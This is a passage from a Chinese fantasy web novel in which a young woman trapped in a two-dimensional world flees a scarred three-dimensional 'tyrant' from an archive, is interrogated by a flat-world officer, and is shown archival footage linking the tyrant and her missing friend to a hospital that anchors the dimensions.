“你很幸运,一般来这里做身份登记都要提前预约。”欧几里得·方将褚清子领到了一面椭圆形的镜子前,“麻烦帮她办理下身份登记。”
磨砂面的镜子突然反射出了褚清子的样貌,她的身形在里面出现了五秒,又很快恢复成了磨砂镜面。
“好了,走吧。”欧几里得·方带着褚清子快步走向档案馆深处。这里安静得可怕,只有他们两人的脚步声,以及麻薯偶尔发出压抑的呜咽。
欧几里得·方一边走,一边头也不回地问,“你之前说,急着回家是为了什么?”
“我要翻修房子。”
“什么?”他不合时宜地笑了笑,“一所房子而已,有那么急吗?”
这个问题像一根针,刺破了褚清子强装的平静。她低着头,看着自己在光洁地面上模糊的倒影,声音很轻,却带着一种不容置疑的坚定:“那是婆婆留给我唯一的东西,它不只是一栋房子,还是她存在过的证据。”
欧几里得·方脚步微微一顿,侧头看了她一眼。这一次,他眼中的讥讽淡了些,多了点难以言喻的复杂情绪。
他们没有再多说什么。欧几里得·方在一排书架前停下,手指拂过那些胶片卷轴。“《平面编年史》、《空间稳定性报告》、《异界生物图鉴》……”
他低声念着卷轴上的标签,然后抽出一卷格外厚实的胶片,“……《上古封印纪事》,你看看这里有没有你想要知道的答案,也许……能找到你如何进这个世界的原因。”
他将胶片卷轴放在旁边一个类似阅读台的平面上。卷轴自动展开,悬浮在台面上方,投射出一片清晰的光影图像。那不是文字,而是一幅幅动态的场景:古老的战争、扭曲的边界、被封印的阴影……
欧几里得·方专注地盯着影像,手指在空中虚点,放大、切换着不同的片段。他的侧脸在光影中显得格外专注,那种属于“首席顾问”的傲慢被一种沉重的责任感暂时取代。
“你自己看吧,”欧几里得·方低声道,“或许能找到你为何会来到这里的答案。”
褚清子凑近影像,画面晦涩难懂,但她能感觉到其中蕴含的古老和凶险。她看到代表“秩序”的完美圆形,与一团不断变幻、无法捉摸的混沌阴影激烈对抗。那阴影,似乎带着一种令她心悸的熟悉感……
画面在继续变化,一个由无数不规则碎片强行拼凑而成,散发着不祥光芒的王座正在缓缓凝聚。在王座上方,是一个模糊,但能看出人形轮廓的身影,他张开双臂,仿佛要拥抱整个世界的崩塌。
那人的面孔逐渐清晰,但是在王座的背后,她的注意力却被另一种建筑物攫住了。她看到,不远处出现了无比熟悉的结构。不是这个世界的任何东西,而像是……医院灰白色的墙体,还有带着白边的红十字标志?
这个发现让她呼吸一窒,难道这个模糊的人影和医院有着某种不为人知的联系?
就在这时,整个档案馆突然轻微地震颤了一下。不是外部的震荡,而是源自内部,仿佛有什么东西,正在强行破解这里的防御。
一直站在不远处的欧几里得·方猛地停住脚步,脸色煞白。
“他……他找到这里了。”
14. 二维空间(三)
14二维空间(三)
那一下震颤来得突兀,像是某种巨兽在档案馆厚重的地基底下闷哼了一声。
悬浮的胶片卷轴轻微晃动,投射出的光影图像泛起涟漪,那个正在凝聚的混沌王座扭曲了一瞬。
欧几里得·方的脸色在幽蓝的光影中瞬间褪尽血色,他猛地抬头,视线死死钉在档案馆深处那片绝对的黑暗里。
“他……他找到这里了。”他的声音干涩,带着一丝不易察觉的颤抖,先前那种精英式的傲慢被一种更原始的恐惧取代。
他下意识地后退了半步,昂贵的皮鞋与光洁的地面摩擦出刺耳的声响。
究竟是什么东西能让向来高傲的欧几里得·方充满了恐惧?
褚清子心跳疯狂擂动,她几乎是本能地将怀里的麻薯护得更紧,小家伙似乎也感应到了致命的威胁,连呜咽都止住了,只发出细微的、牙齿打颤的咯咯声。
她顺着欧几里得·方的目光望去,只见档案馆深邃的走廊尽头,那些排列整齐的书架之间,光线开始不正常地闪动扭曲。
空气并没有流动,但四周那些薄如蝉翼的胶片卷轴却无风自动,发出簌簌的轻响,仿佛有无形的手指在快速翻阅。一股难以言喻的气息弥漫开来,不是气味,而是一种纯粹的存在感,更加沉重、混乱,带着撕裂一切规则的蛮横。
“跑不跑……”褚清子低声道,嗓子发紧。她没有问“他是谁”,因为不需要。那股扑面而来,要将一切压扁碾碎的恶意,已经给出了答案。他是暴君,是那个被封印的、欧几里得·方口中禁忌的存在。
“往哪跑?”欧几里得·方猛地转过头,眼神里充满了绝望和一丝怨毒,他盯着褚清子,“都是因为你!你和他是同类人,你就像黑夜里的火炬,指引着他找到这里!我们根本逃不掉!”
他话音未落,档案馆尽头那片扭曲的光影骤然爆开。
不是爆炸,而是一种空间的塌陷。一道狭长的、边缘闪烁着不稳定光芒的裂缝凭空撕开,将那片区域的书架、胶片、乃至光线,统统吞噬进去。裂缝边缘,线条如同烧红的刀刃切割黄油般,轻易地划开了档案馆绝对理性的空间。
一个身影,从那片扭曲中缓缓走出。
他很高,身形挺拔,即便隔着距离,也能感受到那具躯体里蕴含的力量。但他绝不是欧几里得·方那样精致完美的“平面”,他有着厚度,有着肌肉虬结的轮廓,是一个真正的三维存在。就像……就像褚清子一样。
只是,他身上的衣物褴褛不堪,裸露的皮肤上布满了纵横交错的伤疤,有新有旧,有些甚至还在渗着稀薄的、泛着微光的红色液体。那些伤口显然不是普通的利器所致,更像是被某种恐怖的力量强行撕裂又勉强愈合的痕迹。他每一步踏出,都让脚下的地面泛起水波般的纹路,尽管这个空间极力抵抗着这种深度的侵入。
他微微偏着头,视线穿过层层叠叠的书架,越过了僵立的欧几里得·方,直接落在了褚清子身上。
那是一双怎样的眼睛?
没有瞳孔的缩放,只有一片纯粹的、燃烧的漆黑,里面翻涌着褚清子无法理解的复杂情绪,以及一种……近乎于本能的确认。
他动了动嘴唇,似乎想说什么,但最终只发出一声低沉的、仿佛来自胸腔深处的嘶吼。这声音不像欧几里得·方那样通过振动空气传播,而是直接敲打在人的意识上,沉重而冰冷。
欧几里得·方浑身都在抖,他引以为傲的理智和镇定此刻片甲不留。他面对莫凡尔时尚能维持的虚伪和刻薄,在这个真正带来毁灭的存在面前,彻底土崩瓦解。
他几乎是瘫软下去,膝盖砸在地面的声音清晰可闻。他低下头,不敢与那道目光对视,所有的骄傲和自尊都被碾碎,只剩下生物面对天敌时最原始的臣服。
“陛……陛下……”他喉咙里挤出破碎的音节,身体伏得更低,像一页被踩进泥里的纸。
暴君没有看他一眼。
他的目光死死锁着褚清子,迈步向前走来。他的步伐并不快,却带着一种令人窒息的压迫感。沿途那些悬浮的胶片影像在他身边无声地湮灭又消散。
褚清子想动,想逃,但双脚像被钉在原地。怀里的麻薯发出了惊恐的哀鸣。她的大脑里一片空白,只有一个念头在尖叫:他的目标是她。
可为什么呢?
她不知道。
但她能感觉到,那目光中的确认,那跨越了维度而来的追踪,目标就是她。因为她也是“立体”的?因为她是“人类”?
电光石火间,欧几里得·方那句“你的立体就是原罪”和影像中那个混沌王座重叠在一起。
不能跟他走。
这个念头如同冰水浇头,让她从僵直中挣脱出来。她猛地后退一步,撞在身后的书架上,一卷胶片哗啦一声滑落。这声响似乎刺激了暴君,他前行的速度陡然加快,那股要将一切碾碎的气势骤然攀升。
就在这时——
“警报!警报!档案馆遭受未知高能冲击!防御系统过载!启动应急封锁程序!”
冰冷的电子合成音突兀地在馆内炸响。紧接着,四周的墙壁、地面、天花板,所有平面同时亮起刺目的红光,无数复杂的几何线条交织成网,试图稳定和修复被破坏的空间结构。
与此同时,档案馆那两扇巨大的、由矩形构成的平开门,开始发出沉重的、金属摩擦般的轰鸣声,正在缓缓闭合。
调查局的追兵,也到了。
褚清子瞬间产生了无措的恐惧,前有不知目的的暴君,后有秩序维护的调查局,无论落入哪一方手里,对她而言都可能意味着终结。
但比起那个气息混乱、伤痕累累、仿佛从地狱爬回来的暴君,至少调查局代表的是这个世界的“规则”和“秩序”,哪怕这秩序冰冷而充满审视。
要不,她就赌一把,总比死在这暴君手里强。
这个念头在她脑中成型。她不再犹豫,用尽全身力气,抱着麻薯,朝着那正在缓缓闭合的大门冲去。
她不是欧几里得·方,没有那种在二维线条中优雅穿梭的从容。她的“立体”在这里是累赘
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,每一步都像是在粘稠的胶水中跋涉。她能听到身后暴君那沉重而急促的脚步声,能感觉到那股几乎要撕裂她灵魂的视线灼烧着她的后背。
“你疯了!”欧几里得·方趴在地上,发出嘶哑的喊叫。
距离大门还有十米。
大门已经合拢过半,缝隙越来越窄。
七米。
她能听到大门闭合时,气流被挤压发出的锐响。
五米。
身后传来了布料被撕裂的声音,以及一声压抑着痛苦的闷哼。褚清子不敢回头,她能想象出暴君是如何不顾一切地伸手抓取。
三米。
她甚至能看到门外,莫凡尔带领的一队平面调查员已经赶到,他们手中拿着发光的,由线条构成的武器,正惊疑不定地看着门内发生的异变。
一米!
褚清子用肩膀猛地撞向那即将闭合的门缝!就在她整个人即将冲出门外的刹那……
一只手,一只布满伤疤、温度异常的手,擦过了她的脚踝!
一股无法抗拒的巨力传来,她重心骤失,向前扑倒。怀里的麻薯脱手飞出,发出一声短促的惊叫。
“麻薯!”褚清子失声惊呼,眼睁睁看着那食线兽掉落在门内的地面上。
但下一秒,她已经重重地摔出了门外,滚倒在档案馆前光洁如镜的广场上。身后的大门在她落地的瞬间,发出“轰”的一声巨响,彻底闭合,将内外彻底隔绝。
世界仿佛静止了一瞬。
褚清子趴在地上,肺部火辣辣地疼,她剧烈地喘息着,第一时间翻身坐起,看向大门。
那扇厚重的、由无数几何线条构成的门扉,表面光滑如初,只有中央一道细微的接合线证明它刚刚关闭。门内没有任何声音传出,也看不到里面的景象。
麻薯……还在里面。
而她的脚踝上,残留着被那只手触碰过的、冰凉的触感,以及一丝若有若无的、属于另一个人的气息。
“抓住她!”莫凡尔威严的声音响起,带着惊魂未定,“你根本就不是欧几里得的什么亲戚!”
几名调查员迅速围拢上来,他们手中的武器发出低鸣,指向倒在地上的褚清子。他们的身体是完美的扁平几何形,此刻在褚清子眼中,却像一道道无法逾越的囚笼。
欧几里得·方没有出来。
暴君……也没有。
褚清子低头看着自己的双手,它们在微微颤抖。她刚刚从夹缝中逃出生天,却可能永远失去了麻薯,也可能永远被困在了这个视她为“残次品”的世界。
而那个暴君……他闻到的是谁的“味道”?他又为什么,对她如此执着?
她缓缓抬起头,看向莫凡尔,看向周围那些充满审视和戒备的平面目光。这一次,她没有再低头,也没有躲闪。
婆婆的房子,麻薯,回家的路……这一切,似乎都和一个更庞大、更危险的谜团纠缠在了一起。
她必须活下去,必须找到答案。哪怕这个世界,从这一刻起,真正的麻烦才刚刚开始。
15. 二维空间(四)
15二维空间(四)
褚清子肺里的空气在逃跑时被强烈的气流挤得一丝不剩,喉咙里全是铁锈味。还没等她咳出声,几道扁平的阴影已经笼罩了她。
是莫凡尔和他的手下。
他们没有立刻动手,只是用那些由纯粹线条构成的武器指着她。那些武器没有口径,没有扳机,只是一束束凝实的、令人心悸的光线。褚清子甚至能透过他们薄薄的,像纸片一样的脸,看到背后广场上那些同样扁平的树木和建筑。
“把她带起来。”
莫凡尔的声音从上方落下,冷硬得像一块冰。他还是那副一丝不苟的平面模样,深灰色的制服上没有一丝褶皱,但褚清子敏锐地察觉到,他那双向来锐利冷静的眼睛里,藏着一丝来不及掩饰的惊悸。
显然,档案馆里发生的事,超出了他这个“秩序维护者”常规的认知。
褚清子的双腿还在发软,脚踝上那只布满伤疤的手留下的触感,冰凉且沉重,像某种烙印。
“我不是欧几里得·方的亲戚。”褚清子喘过气来,第一句话就承认了。她没打算在这个节骨眼上撒谎,那太蠢了。她抬起头,迎向莫凡尔的目光,这一次,她没有躲闪。
莫凡尔似乎有些意外。他走近一步,那张没有厚度的脸上,五官只是精致的凹陷与凸起,却偏偏能传递出逼人的压迫感。“那你是什么?”
“我不知道。”褚清子实话实说。她看到了莫凡尔眼底一闪而过的怀疑,便接着道,“如果我知道自己为什么会被那个……那个人追,我就不会跑到这里来,也不会被你们扣下。”
她顿了顿,声音低了下去,带着一丝自己都没察觉的哽咽,“我的宠物……麻薯,还留在里面。”
提到麻薯,莫凡尔的眼神变了变。
“从现在起,那不是你的宠物。”他纠正她,语气毫无波澜,“那是一件证物,而你,是更重要的证物。”
他挥了挥手,几名扁平的调查员举着枪押着褚清子站起来,朝广场一侧那栋线条凌厉的建筑走去。他们的移动方式很奇特,不是行走,更像是画面帧率的切换,一帧一帧地平移,速度快得惊人。
她被带进了一条纯白色的建筑前,开门后里面走廊一直延伸向远方,给人一种无限循环的错觉。走廊两侧,排列着许多同样纯白的房间,房门是与墙面齐平的线条,如果不仔细看,根本发现不了。
莫凡尔在一扇门前停下,那扇门无声地向上滑开。
“进去。”
房间里空荡荡的,只有一张同样扁平的金属桌,和两张椅子。桌上放着一盏台灯,灯光是惨白色的,照在桌上,却没有产生任何阴影。
褚清子被枪抵着坐在其中的一张椅子上。椅子很不舒服,硬邦邦的,而且她总觉得自己的厚度会挤坏这脆弱的平面家具。
门在身后关上了,房间里只剩下她和莫凡尔,以及背景墙上不断闪烁着红光的方形监控。
莫凡尔走到桌子的另一侧坐下,双手交叠放在桌上,那姿态标准得像是用尺子量过。
“姓名。”他开始问询,声音不带任何感情色彩。
“褚清子。”
“年龄。”
“二十五。”
“出生地。”
“我……我不知道。”褚清子抬起头,说了实话,也不想暴露太多,“我来自哪里,我不记得了。”
莫凡尔沉默了片刻,那双没有瞳孔的眼睛盯着她,似乎在判断这句话的真伪。
“你不去救欧几里得吗?他被困在档案馆里面了。”
莫凡尔摇摇头:“那家伙,比你熟悉暴君,你先顾好你自己吧。”他面无表情地继续开口,“根据《平面法典》第三章第七条,非法入境、干扰维度稳定、涉嫌与一级通缉犯勾结,以及……携带不明生物体,你将接受最高级别的审查。”
“我没有勾结任何人。”褚清子只觉得莫名其妙,她什么时候能和暴君有过交涉,“是那个暴君自己找上我的。”
“暴君”这个词出口的瞬间,莫凡尔的眼睫极其轻微地颤动了一下。
褚清子捕捉到了这个细节。她心脏狂跳,知道自己可能无意中撞破了什么。她往前倾身,椅子与地面摩擦出刺耳的声音。
“我知道他有问题……他好像认识我,欧几里得说我和他有关。所以,你们到底在隐瞒什么?为什么要把我当成罪犯一样审问?我只是误闯进了这个世界,我只想回家。”
她给无数的生物说了无数遍,最初的诉求,她想回家。可是没有谁当真,都在质疑她打扰这个世界的动机。
但她的的确确,只是想回家。
她的声音在狭小的房间里回荡,带着无奈和抱怨,那是积压已久的恐惧和委屈。
莫凡尔没有立刻回应。他只是静静地看着她,看了很久。
“家?”他重复了一遍这个字,语气里第一次带上了一丝难以捉摸的情绪,“在你的认知里,家是一个物理坐标,还是一个……概念?”
褚清子愣住了。
他这是什么意思?
“你以为你只是迷路了。”莫凡尔站起身,走到那面纯白的墙前。他伸出手指,在墙面上轻轻一划。
墙壁上,原本平滑的白色突然像水波一样漾开。一行行密密麻麻的文字、图表,以及影像片段,开始在那平面上飞速流淌。
原来这堵白墙,是一个可以操作的屏幕。
“我监视欧几里得·方很久了。”莫凡尔背对着她,声音恢复了那种公事公办的冷漠,“这位首席顾问是个政治家,也是个科学家。他很痴迷于所谓的升维,认为我们这个世界是需要达到更圆的目的,抛却残缺的、低劣的形态。所以,他通过高权限查找档案馆的禁书,研究被封印的暴君留下的信息,试图打开通往所谓人类世界的通道。”
墙上的影像停了下来,定格在一张模糊的照片上。照片里,是一座外墙陈旧的医院。那房子的线条歪歪扭扭,和这个世界的几何美感格格不
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入。
褚清子的呼吸停滞了。
那是她婆婆急救时被送去的医院。只是,这座房子被线条勾勒,不是那么……立体。
“他一直在找寻能够连接维度的锚点,最后发现就是这座修在直角区的房子。”莫凡尔转过身,目光如精准地落在她脸上,“它不是一座普通的建筑。但它同暴君有关系,是当年他降临在这个世界上的第一个落脚点,也是他力量残留最严重的地方。所以,欧几里得·方认为,只要修复它,就能重建通道。”
“至于你……”莫凡尔停顿了一下,似乎在斟酌词句,“我在来的路上确实发现了,你的生理构造,和我们不同。你拥有厚度,这在我们的世界里,是理论上不可能存在的畸形。但根据档案记载,在暴君降临的那个时代,曾经出现过一些类似的异常体。他们都统一被称为……”
他念出了一个词。
“人类。”
褚清子的大脑一片空白。
人类?所以在这个世界,这些低维的生物其实是在研究他们,就像人类也热衷于去探索更高阶的宇宙外星生物。
世界可真是一个巨大的轮回圈。
“所以,”莫凡尔重新坐下,十指交叉,“现在摆在你面前的有两个选择。第一,配合我们,告诉我们你所知道的一切关于人类的事。作为交换,我们会保证你的安全,并尝试帮你……适应这个世界。”
“第二呢?”褚清子听见自己的声音在发抖。
“第二,”莫凡尔的声音没有任何起伏,“如果你不接受,我们将认定你为暴君的追随者,以及维度入侵的同谋。你会作为实验体被永久封存,直到我们找出你所有的秘密为止。”
房间里的空气仿佛被抽干了。
褚清子看着莫凡尔的眼睛。她明明比这些平面人物拥有更立体的力量,更强大的世界支撑。可现在,她却成了畸形,成了原罪。
她想起暴君那双燃烧的漆黑眼睛,想起他伸手抓向自己时那股几乎要撕裂灵魂的执念。
她也想起欧几里得·方怨毒的眼神,和那句“都是因为你”。
还有麻薯……那只小东西,现在是不是正缩在某个角落,害怕得发抖?
婆婆的房子,是她踏入灰色空间的起点。而暴君出现在这个世界的地方,竟然是婆婆去世的那家医院。所以,这里难道真的有出口可以找到回去的路?
她得拥有自由身,去接近暴君,去找到回去的方法。他们是同类,至少在这个世界也算得上是能合作的盟友。
“我选第一条。”褚清子抬起头,这一次,她的眼神里没有了担忧,只剩下一种近乎冷酷的清醒,“但我有一个条件。”
莫凡尔挑了挑眉,似乎在等待她的僭越。
“我要知道,关于那座房子,也就是暴君第一次出现的地方,你们到底都知道些什么?”褚清子的声音不大,却一字一顿。
“有我的帮助,或许你们能更快找到连接三维空间的出口。”
16. 二维空间(五)
16二维空间(五)
莫凡尔交叠的手指微微收紧,指节在光滑如纸的桌面上压出几道不易察觉的白痕。他盯着褚清子,那双没有瞳孔的线形眼睛里,第一次流露出类似“卡顿”的凝滞。
“条件?”他重复了一遍,声音比之前低了几分,“年起人,你并没有什么资格和我谈条件。”
褚清子没有移开视线,她反而很清醒,知道自己应该在什么时候认怂,什么时候又可以坚持下去。
“可你们需要我。”她的声音很轻,却很容易打破莫凡尔审讯的节奏,“莫长官,你刚才说我是更重要的证物。那么请问,一个会走路,会说话,有记忆的证物,和一个只会躺在实验室被封存的标本,哪个对你们更有价值呢?”
她向前倾身,尽管坐在这张硬邦邦的扁平椅子上让她浑身不自在,但她尽量让自己的姿态显得沉稳。“我认识影像里的那座房子,我也知道所有你们档案里看不到的细节。这些细节,可能是打开所谓通道的关键,也可能……”她顿了顿,直视莫凡尔眼中那片虚无的线,“是摧毁它的武器。”
莫凡尔的沉默持续了更久。
背景墙上红色的监控光点闪烁的频率,似乎也悄然放缓,像是在同步他的思考。褚清子能感觉到,他们有了微不可查的迟疑。
“你想知道什么?”莫凡尔终于开口,语气里本有的绝对控制感出现了一丝裂痕,取而代之的是一种谨慎的审视。
褚清子心底松了口气,但面上丝毫不显。她甚至微微调整了一下坐姿,让自己更舒服些。
“我想知道,”她一字一句地说,“关于那座房子,关于暴君,关于所有被你们称为人类的异常体、残缺品,他们在这个世界存在的所有信息。档案影像你只给我看了部分,但我要知道更多细节。”
她的问题像一把钥匙,试图撬开这间纯白房间里最严密的锁。
莫凡尔缓缓站起身,再次移向那面如水面般的墙壁。他没有立刻划动,而是背对着褚清子,声音里带着近乎自语的低沉:“好奇心,是人类最显著的特征之一,也是最致命的弱点。”
墙壁上的影像开始变化,不再是之前那种快速流淌的数据流,而是像被无形的手拖慢了进度条。
一幅新的画面定格下来。
不再是医院,而是一片……充满扭曲,更无法用语言精确描述的混沌。画面边缘是规则的几何线条,但中心区域却像一团被胡乱揉搓的纸团。纸团上的色彩很刺眼,是不自然的斑斓,在纯白的背景下灼烧着褚清子的眼睛。
“在暴君出现之前,我们的世界是完美的,和谐的,遵循绝对的几何法则。没有厚度,没有阴影,也没有……不确定性。”
画面开始播放一段无声的影像,那团混沌猛地膨胀,像爆炸的恒星。从混沌中心,延伸出一条条粗壮带有体积感的触须,它们疯狂地撕扯着周围平滑的平面世界,将线条、色彩、结构粗暴地融合。
放眼看去,整个空间就像一块被顽童肆意蹂躏的画布。
褚清子看得浑身发冷,胃里一阵翻搅。那不仅仅是视觉冲击,她更能感觉到一种源自灵魂深处,对那种无序本能的排斥和恐惧。
“可他带来了深度。”莫凡尔继续说道,画面切换到一些模糊的剪影。那些剪影有着圆润的轮廓,不再是由简单的线段构成。“但也带来了毁灭性的灾难,这个世界的物理法则被改写,维度稳定性遭到破坏。大量的平面体在冲突中消散……我们称那个时期为‘大撕裂’。”
影像中出现了一些类似建筑的结构,在扭曲中崩塌,像被海水融掉的沙堡,还有不同形状的平面人被吞噬在建筑体内。褚清子死死盯着那些残骸,心脏像是被一只无形的手攥紧。她不确定自己看到了什么,但那种毁灭性的冲击,即使隔着影像,也足以让人窒息。
因为,她刚刚经历过。在欧几里得住宅里,就是这种被撕裂的力量让整栋大楼岌岌可危。
“后来呢?”她在脑海里对这位“暴君”有了基本的印象,“你们怎么阻止他的?”
影像很快跳转。
出现了更多规则的线条,它们像巨大的网格,试图束缚住那团混沌,但效果甚微。然后,画面中央,无数的线条拼凑出了一个孤立的建筑。线条简陋,比例失调,却异常顽固地挺立在风暴中心,正是那所熟悉的医院。
它以一种不可思议的方式出现,然后混沌被困在医院的建筑体里。它发出了无声的难鸣,随后从这团混沌中,逐步走出一个高大的身影。随着周围触手的消退,那个人的样貌也越来越清晰,他是最初的暴君。
他从建筑里走了出来,自灾难的混沌中诞生,他就像一个地狱的囚徒,扒开出口重获了新生。
他的穿越方式轰轰烈烈,可比褚清子盛大许多。
“暴君的力量并非是无穷无尽。”莫凡尔的声音插进来,带着一种复杂的意味,“他在降临过程中消耗巨大,并且似乎……受到了某种限制。经调查发现那座房子,就是限制他的核心锚点。它就像一根钉子,暂时固定住了被他撕开的维度裂口。”
画面再次变化,变得更加清晰。这次,褚清子看到了更多的人。一些面容模糊的身影,跟在暴君的身后,在医院周围活动。其中一个身影,穿着黑色的风衣,站在医院的门口,回头望向画面的方向……
褚清子的呼吸骤然停止。
虽然影像模糊,虽然那面容并不清晰,但那一瞬间的神态,像一把重锤,狠狠砸在她心上。
顾颜!
那是顾颜!
一股强烈的酸楚猛地冲上鼻腔,眼眶瞬间发热。原来……原来顾颜也穿了过来,甚至还活在这个世界。褚清子心中的窒闷得到了缓释,她不是孤单的,她的挚友也在这里。
她们呼吸着同一片空气,感受着世界的同一场维度。
虽然身在异乡,可此刻她却有了最大的支撑。<
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“这些……人,”褚清子指着影像,声音抖得厉害,“他们现在在哪儿?”
莫凡尔没有立刻回答,他挥手让影像暂停在顾颜回望的瞬间。
“根据档案记载,他们是早期出现的人类。也是暴君的追随者,他们自发组织起来,试图理解和控制暴君对这个世界产生的影响。”他的语气恢复了一些公事公办的意味,但眼神却更加深邃,“他们甚至还污染了一些平面人,让他们产生了阴影和轮廓,他们建立了新的制度,甚至还称自己为‘守界人’。”
守界人。
褚清子咀嚼着这个词,顾颜什么时候对这种神秘组织感兴趣了?
“那……”褚清子努力压下翻腾的心绪,抓住核心,“他们还在这个世界?”
莫凡尔转过身,重新面对她。那张无厚度的脸上,光影分布依然完美得不真实。
“大部分都死了。”他说,“在暴君被封印前,他们就被消灭了,现在你是目前已知唯一存活的,能与暴君存在直接能量共鸣的人类。这应该是欧几里得不想在我面前揭示你身份的原因。”他停顿了一下,补充道,“你是最重要的研究体,至于你是否是下一场灾难……那取决于你的选择,以及你愿意付出什么代价。”
什么?
死了,大部分都死了?
莫凡尔说出这句话的时候,很轻描淡写,却在褚清子的心中划下重重一痕。
不可能,这些人类明明比平面人更强大,更厉害,怎么可能就轻易被消灭。
顾颜不可能死,她很强,她一直都很强。
她也不可能助纣为虐,她心中自有公道和正义,她是清醒又清白的律师。
莫凡尔,眼前这位圆滑的政客,一定在倒反天罡,将事实扭曲,将真相掩盖。
他为了引起她的同理心,故意来挑拨离间,不过都是因为这群平面人只将人类当作一个可以夺取资源的工具,一枚棋子,一个需要被利用后就得清除的残缺品。
她要活下来,去找顾颜,去问清楚,找寻真相。
“我的条件不变。”褚清子抬起头,眼神里最后一丝犹豫褪去,只剩下孤注一掷的坚定,“告诉我关于守界人的一切。作为交换,我会配合你们的审查,告诉你们我所知道的任何细节。”
她不能相信莫凡尔,但此刻,她需要信息,也需要力量。
莫凡尔凝视着她,那双线形的眼睛深处,似乎有极其复杂的运算正在进行。良久,他缓缓开口,声音里听不出情绪:
“你可以保留你的好奇心,但记住,在我们的规则里,任何逾矩平面规则的尝试,都可能意味着毁灭。”
他没有答应,也没有拒绝。但墙壁上的影像,悄然切换到了下一页。那上面,是密密麻麻关于“守界人”活动记录的文字摘要。
审讯室的空气依旧冰冷,但一场新的,更加危险的博弈,已经在这片纯白的死寂中,悄然拉开了序幕。
17. 二维空间(六)
17二维空间(六)
莫凡尔指尖在墙壁上轻轻一划,关于“守界人”的密集文字如退潮般消散,取而代之的,是一段视角不稳定的影像记录。
画面晃动得厉害,像是某种原始的实验性拍摄,边缘带着扭曲的暗角,由远拉近,展示着那所线段组成的医院。
“房子的底层,我们做了临时的隔离区。”莫凡尔的声音很沉重,“这里存储的,是‘大撕裂’时期产生的实验体。你想要的细节,应该能在这里找到。”
影像终于稳定下来,视角似乎位于某个天花板,俯瞰着下方昏暗的隔离区。褚清子甚至能辨认出被关在玻璃线条里有一些熟悉的几何结构,只是它们的精神状态都不太好,正以一种狂暴的力量撕扯着自己。
画面继续变化,从一个角落投向一间空旷的隔离室。房间的四壁、天花板和地板都是毫无质感的惨白,唯一的家具是一张简洁线段组成的床架,固定在地面中央。里面没有窗户,只有均匀且无处不在的冷光。
然后,暴君出现了。
他被细密的线段铐在房间的中央,微微低着头,仿佛在适应,又或是单纯地在承受束缚。他的身体轮廓偶尔会像信号不良的影像般闪烁一下,显示出他与这个空间并非完全的契合。
接着,另一个身影出现在画面边缘。
是欧几里得·方。
这段影像里的他,穿着更为实用的连体工作服,脸色苍白,眼底下有浓重的青影,神情混合着极度疲惫、狂热和某种近乎绝望的执着。他走到隔离室的透明观察墙前停了下来,双手按在墙上,额头几乎抵了上去。
“他在试图理解暴君的力量。”莫凡尔低声道,像是在解说,又像是在自言自语,“欧几里得认为,维度的壁垒并非不可逾越,而暴君的降临,或许是一把钥匙。”
“你知道我为什么推荐领主选这个地方关住你吗?”欧几里得·方的声音通过影像的音频系统传来,带着电流干扰的沙沙声,但每个字都清晰可辨,“不是因为它坚固,也不是因为它隐蔽。只是因为……它是第一个被你污染的稳定结构。”
暴君没有回应,他甚至都没有抬头看向声音的来源。他就那样静静地站着,像一尊被遗弃在白色荒原上的黑色雕像。但他的沉默,本身就像一种巨大的回声。
欧几里得·方自顾自地说着,语速时而急促,时而缓慢,像是在与两个自己对话。“我们研究了很久,研究你带来的那些……生物。厚度,体积,光影,还有你们称之为物质的理论。它们的确充满了诱惑,但又很混乱!我们的世界原本应该是纯净的线条和平面,是绝对的逻辑!可你们来了……”他猛地握紧了拳头,手背青筋在模糊的影像中若隐若现,“你们把深度、把不确定性竟然像病毒一样到处传播!”
“但是,”欧几里得·方的语气陡然变得诡异起来,那是一种发现新玩具孩子般的兴奋,“你们也带来了无限的可能。我们的资源是平面的,思维是平面的,未来……也是平面的。”他离开墙壁,开始在狭小的观察区里焦躁地踱步,双手比划着,“但这所房子……它不一样!它在你到来之前就存在,但它又因为你发生了改变!它就是一个‘锚点’!连接着两边的维度!我试过了,用尽了一切方法,模拟它的结构参数,复制它的能量特征……但它就是它,独一无二!”
他突然停下脚步,再次扑到那面墙前,脸几乎要嵌进去似的,压低了声音,如同分享一个惊天秘密:“我能感觉到它的厚度,它不仅仅是一个建筑物,它是一个……接口!一个可以让我们穿过去,穿到你们世界的接口!想象一下,我们平面人不再受限于任何的长度和宽度,我们可以去往那个有高度,有真正空间的世界!那里将会有我们无法想象的资源!能量!可能性!”
暴君终于动了,他极其缓慢地抬起头。影像虽然模糊,但褚清子能感觉到那目光的重量,冰冷,沉重,穿透了时空和屏幕,落在了那个狂热的平面人身上。那不是愤怒,也不是轻蔑,更像是一种……疲惫的怜悯。
他又缓缓转过了脸,视线看向墙顶的监控,落在了无数岁月之后的褚清子身上。那一刻,褚清子感到一股寒意从脊椎直冲头顶,不是杀意,而是一种……难以形容又沉重的注视。
“你……是在找死。”一个低沉的声音响起,生涩,沙哑,像是从生锈的齿轮间碾磨而出。这是暴君第一次在影像中发出清晰可辨的人声。简单的几个字,却让隔离室内的空气仿佛凝固了。
欧几里得·方像是被戳破了的气球,脸上的狂热瞬间僵住,随即转化为被冒犯的恼怒。“你懂什么?!你这种闯入者,是你毁了我们的秩序,现在又想用这种故弄玄虚的语气来吓唬我?”
他后退一步,整理了一下工作服的领口,试图找回之前的镇定,但眼神里的疯狂却燃烧得更旺,“你的追随者都叫你萧医生?哈!你这种残缺品能救谁?救你那些可怜巴巴的追随者吗?还是能救得了你自己?”
他逼近观察窗,声音变得尖利:“告诉我!你们来这里到底为了什么?只是意外?还是有什么目的?你们在那个世界遭遇了什么?是什么让你们像丧家之犬一样逃到这里?!”他猛地一拳捶在墙上,发出沉闷的响声,“回答我!萧永锡!或者我该尊称您一声……医生?!”
影像在此中断,墙壁恢复成光滑的纯白。
审讯室里死一般的寂静。莫凡尔背对着她,身体圆弧的线条显得格外僵硬。
褚清子消化着看到的每一帧画面,每一个字。她没想到欧几里得·方对于探索会这么狂热,可他的表现却并不是特别惧怕暴君,甚至还在挑衅他,但后面究竟发生了什么?让他成为了平面人口中的暴君,甚至就连他的名字都成
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了一个不能再提及的存在。
还有那个名字,萧永锡。
褚清子内心默念,暴君叫萧永锡。
“我们伟大的首席顾问,欧几里得·方,”莫凡尔开口,“是单纯的平面派,他憎恨你们人类世界,认为它是丑陋又混乱的赘余,但这并非全部真相。他真正渴望的,是想利用那个暴君诞生的锚点,以及你身上的特殊共鸣,强行撬开通往三维空间的通道。”
莫凡尔转过身,那双线形眼睛里只剩下冰冷的陈述:“我们的世界如果要继续发展下去,需要新的资源。”
